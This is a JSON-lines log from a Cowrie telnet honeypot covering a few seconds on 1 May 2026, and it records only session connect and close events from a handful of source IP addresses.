{"eventid":"cowrie.session.closed","duration":30.81230616569519,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:23.100305Z","src_ip":"64.235.40.29","session":"3afec6b48619","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.487176179885864,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:23.104620Z","src_ip":"64.235.40.29","session":"a44238155596","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.300676107406616,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:23.107144Z","src_ip":"64.235.40.29","session":"7963fdbfa082","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.143643140792847,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:23.121020Z","src_ip":"64.235.40.29","session":"772f470aae0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11173176765442,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:23.221741Z","src_ip":"64.235.40.29","session":"1dfd1bf7f0fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10732913017273,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:23.287445Z","src_ip":"135.148.33.217","session":"4497dd79a1a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41298,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9375bc707f5","protocol":"telnet","message":"New connection: 64.235.40.29:41298 (10.17.0.5:23) [session: e9375bc707f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:23.326906Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41362,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fba8128e112","protocol":"telnet","message":"New connection: 64.235.40.29:41362 (10.17.0.5:23) [session: 2fba8128e112]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:23.408866Z"}
{"eventid":"cowrie.session.closed","duration":30.497481107711792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:23.412730Z","src_ip":"64.235.40.29","session":"7a19a2c0f404","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.046347618103027,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:23.464097Z","src_ip":"195.154.29.177","session":"078a8cf7bdee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.542834758758545,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:23.608218Z","src_ip":"64.235.40.29","session":"0b31afa1769a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41370,"dst_ip":"10.17.0.5","dst_port":23,"session":"282e2b030f0a","protocol":"telnet","message":"New connection: 64.235.40.29:41370 (10.17.0.5:23) [session: 282e2b030f0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:23.654635Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41374,"dst_ip":"10.17.0.5","dst_port":23,"session":"1424c689798e","protocol":"telnet","message":"New connection: 64.235.40.29:41374 (10.17.0.5:23) [session: 1424c689798e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:23.658825Z"}
{"eventid":"cowrie.session.closed","duration":31.08496403694153,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:23.827626Z","src_ip":"64.235.40.29","session":"d8883c3adb14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41326,"dst_ip":"10.17.0.5","dst_port":23,"session":"0abc1b0c4698","protocol":"telnet","message":"New connection: 64.235.40.29:41326 (10.17.0.5:23) [session: 0abc1b0c4698]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:23.851663Z"}
{"eventid":"cowrie.session.closed","duration":30.267212867736816,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:24.035996Z","src_ip":"64.235.40.29","session":"feffb29555cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.420334339141846,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:24.053011Z","src_ip":"64.235.40.29","session":"5e1df7adeaac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41348,"dst_ip":"10.17.0.5","dst_port":23,"session":"0dfae9dcfcf8","protocol":"telnet","message":"New connection: 64.235.40.29:41348 (10.17.0.5:23) [session: 0dfae9dcfcf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:24.096588Z"}
{"eventid":"cowrie.session.closed","duration":30.561530590057373,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:24.127968Z","src_ip":"135.148.33.217","session":"8b2f79cf64a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41384,"dst_ip":"10.17.0.5","dst_port":23,"session":"62ed2f62af5d","protocol":"telnet","message":"New connection: 64.235.40.29:41384 (10.17.0.5:23) [session: 62ed2f62af5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:24.174677Z"}
{"eventid":"cowrie.session.closed","duration":31.28769087791443,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:24.356575Z","src_ip":"64.235.40.29","session":"bf6663cce6c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.252007007598877,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:24.368476Z","src_ip":"64.235.40.29","session":"6efd8da9086b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.801422595977783,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:24.381616Z","src_ip":"64.235.40.29","session":"f6ffe1bdb5ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.558963298797607,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:24.718104Z","src_ip":"64.235.40.29","session":"7eec1478b98e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.52521300315857,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:24.771757Z","src_ip":"64.235.40.29","session":"c95253443b00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41394,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6536fee26b4","protocol":"telnet","message":"New connection: 64.235.40.29:41394 (10.17.0.5:23) [session: a6536fee26b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:24.831254Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":35348,"dst_ip":"10.17.0.5","dst_port":23,"session":"d10123aa48cb","protocol":"telnet","message":"New connection: 160.250.4.73:35348 (10.17.0.5:23) [session: d10123aa48cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:24.848104Z"}
{"eventid":"cowrie.session.closed","duration":30.453732013702393,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:25.039988Z","src_ip":"64.235.40.29","session":"61172c2ba172","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.884328842163086,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:25.086512Z","src_ip":"64.235.40.29","session":"d503ab4f1569","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.448256969451904,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:25.094828Z","src_ip":"64.235.40.29","session":"894daf555342","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79542589187622,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:25.132686Z","src_ip":"64.235.40.29","session":"b3497010a0a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.487761974334717,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:25.143728Z","src_ip":"160.250.4.73","session":"b48cd9f34a97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":44334,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6228fad0c33","protocol":"telnet","message":"New connection: 64.235.40.29:44334 (10.17.0.5:23) [session: e6228fad0c33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:25.163056Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":44344,"dst_ip":"10.17.0.5","dst_port":23,"session":"e44923a693e4","protocol":"telnet","message":"New connection: 64.235.40.29:44344 (10.17.0.5:23) [session: e44923a693e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:25.203514Z"}
{"eventid":"cowrie.session.closed","duration":30.391149044036865,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:25.259936Z","src_ip":"64.235.40.29","session":"334204eca2bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":44412,"dst_ip":"10.17.0.5","dst_port":23,"session":"03595cb8fafd","protocol":"telnet","message":"New connection: 64.235.40.29:44412 (10.17.0.5:23) [session: 03595cb8fafd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:25.868566Z"}
{"eventid":"cowrie.session.closed","duration":30.988157272338867,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:26.038465Z","src_ip":"64.235.40.29","session":"00dd438e17bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":44430,"dst_ip":"10.17.0.5","dst_port":23,"session":"48bb24fba98e","protocol":"telnet","message":"New connection: 64.235.40.29:44430 (10.17.0.5:23) [session: 48bb24fba98e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:26.055650Z"}
{"eventid":"cowrie.session.closed","duration":30.991201162338257,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:26.090532Z","src_ip":"64.235.40.29","session":"e4e0f5b1ca48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.114251613616943,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:26.107940Z","src_ip":"135.148.33.217","session":"2dd7b2d74007","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":44450,"dst_ip":"10.17.0.5","dst_port":23,"session":"93609a843813","protocol":"telnet","message":"New connection: 64.235.40.29:44450 (10.17.0.5:23) [session: 93609a843813]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:26.157317Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":44464,"dst_ip":"10.17.0.5","dst_port":23,"session":"f19b69b87b0f","protocol":"telnet","message":"New connection: 64.235.40.29:44464 (10.17.0.5:23) [session: f19b69b87b0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:26.255855Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":44476,"dst_ip":"10.17.0.5","dst_port":23,"session":"827f1287415e","protocol":"telnet","message":"New connection: 64.235.40.29:44476 (10.17.0.5:23) [session: 827f1287415e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:26.427341Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":35372,"dst_ip":"10.17.0.5","dst_port":23,"session":"8546b36bf98c","protocol":"telnet","message":"New connection: 160.250.4.73:35372 (10.17.0.5:23) [session: 8546b36bf98c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:26.450218Z"}
{"eventid":"cowrie.session.closed","duration":31.44131851196289,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:26.514919Z","src_ip":"64.235.40.29","session":"650387807cf8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.504189014434814,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:26.654498Z","src_ip":"64.235.40.29","session":"09135ebb6fdf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":44480,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e7844c20bc8","protocol":"telnet","message":"New connection: 64.235.40.29:44480 (10.17.0.5:23) [session: 6e7844c20bc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:26.874130Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":55660,"dst_ip":"10.17.0.5","dst_port":23,"session":"010e391c7d07","protocol":"telnet","message":"New connection: 195.154.29.177:55660 (10.17.0.5:23) [session: 010e391c7d07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:26.884676Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":44490,"dst_ip":"10.17.0.5","dst_port":23,"session":"702e3e54c3b0","protocol":"telnet","message":"New connection: 64.235.40.29:44490 (10.17.0.5:23) [session: 702e3e54c3b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:26.977222Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":35378,"dst_ip":"10.17.0.5","dst_port":23,"session":"959dac7ad830","protocol":"telnet","message":"New connection: 160.250.4.73:35378 (10.17.0.5:23) [session: 959dac7ad830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:27.011523Z"}
{"eventid":"cowrie.session.closed","duration":30.83651614189148,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:27.020524Z","src_ip":"135.148.33.217","session":"243df8528c99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.900625705718994,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:27.042908Z","src_ip":"64.235.40.29","session":"a07eb41e7a6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.167620420455933,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:27.047057Z","src_ip":"64.235.40.29","session":"00ed778faf69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.990561723709106,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:27.060237Z","src_ip":"64.235.40.29","session":"1cad754bb287","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.552091598510742,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:27.067335Z","src_ip":"64.235.40.29","session":"8e561d94d0c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.202094316482544,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:27.130485Z","src_ip":"64.235.40.29","session":"f0272a2ad7c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89903163909912,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:27.134736Z","src_ip":"64.235.40.29","session":"51c1b41bac02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75832962989807,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:27.139088Z","src_ip":"64.235.40.29","session":"20291af601ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.910433053970337,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:27.151215Z","src_ip":"64.235.40.29","session":"08fe3c1f01d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09140658378601,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:27.158422Z","src_ip":"160.250.4.73","session":"2e2c8ca2fc13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.528168201446533,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:27.191219Z","src_ip":"64.235.40.29","session":"192252af8118","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.137330770492554,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:27.197764Z","src_ip":"64.235.40.29","session":"ddc3e96249b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":44502,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b0c6d08691e","protocol":"telnet","message":"New connection: 64.235.40.29:44502 (10.17.0.5:23) [session: 6b0c6d08691e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:27.217317Z"}
{"eventid":"cowrie.session.closed","duration":31.16488814353943,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:27.301900Z","src_ip":"64.235.40.29","session":"6d8e091e77de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":44510,"dst_ip":"10.17.0.5","dst_port":23,"session":"895030d17794","protocol":"telnet","message":"New connection: 64.235.40.29:44510 (10.17.0.5:23) [session: 895030d17794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:27.337220Z"}
{"eventid":"cowrie.session.closed","duration":31.091121196746826,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:27.426481Z","src_ip":"64.235.40.29","session":"2f14fc883b12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":44520,"dst_ip":"10.17.0.5","dst_port":23,"session":"401e6efaef9e","protocol":"telnet","message":"New connection: 64.235.40.29:44520 (10.17.0.5:23) [session: 401e6efaef9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:27.464860Z"}
{"eventid":"cowrie.session.closed","duration":31.18444323539734,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:27.706964Z","src_ip":"64.235.40.29","session":"a301f33cefd2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":44530,"dst_ip":"10.17.0.5","dst_port":23,"session":"db8001356f31","protocol":"telnet","message":"New connection: 64.235.40.29:44530 (10.17.0.5:23) [session: db8001356f31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:27.729877Z"}
{"eventid":"cowrie.session.closed","duration":31.387949228286743,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:27.756608Z","src_ip":"64.235.40.29","session":"cda629e18cdc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":44534,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcce3b471579","protocol":"telnet","message":"New connection: 64.235.40.29:44534 (10.17.0.5:23) [session: bcce3b471579]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:27.994696Z"}
{"eventid":"cowrie.session.closed","duration":30.694096326828003,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:28.033889Z","src_ip":"64.235.40.29","session":"7ffd619a1ac9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.28773832321167,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:28.055697Z","src_ip":"64.235.40.29","session":"b374502e2037","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":44548,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4b4ccb9a788","protocol":"telnet","message":"New connection: 64.235.40.29:44548 (10.17.0.5:23) [session: e4b4ccb9a788]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:28.060912Z"}
{"eventid":"cowrie.session.closed","duration":31.130614519119263,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:28.312726Z","src_ip":"64.235.40.29","session":"035918e53793","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.615360736846924,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:28.378206Z","src_ip":"64.235.40.29","session":"8686ec632155","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.208415031433105,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:28.385474Z","src_ip":"64.235.40.29","session":"9416dcfd445e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":44564,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5154d592712","protocol":"telnet","message":"New connection: 64.235.40.29:44564 (10.17.0.5:23) [session: a5154d592712]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:28.597798Z"}
{"eventid":"cowrie.session.closed","duration":31.52485704421997,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:28.892238Z","src_ip":"64.235.40.29","session":"35947f3edcdf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.011600732803345,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:28.988289Z","src_ip":"64.235.40.29","session":"b10f0fa8b81b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.277742385864258,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:29.044320Z","src_ip":"64.235.40.29","session":"1954a73546e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90181255340576,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:29.049791Z","src_ip":"64.235.40.29","session":"9ec8cac112f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.35903835296631,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:29.068688Z","src_ip":"64.235.40.29","session":"3c6d057a7809","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.47077226638794,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:29.106271Z","src_ip":"64.235.40.29","session":"66205bd8d7be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.120930194854736,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:29.137345Z","src_ip":"64.235.40.29","session":"3ca515cd6bcd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98648715019226,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:29.173449Z","src_ip":"64.235.40.29","session":"3d35ab9cc083","protocol":"telnet"}
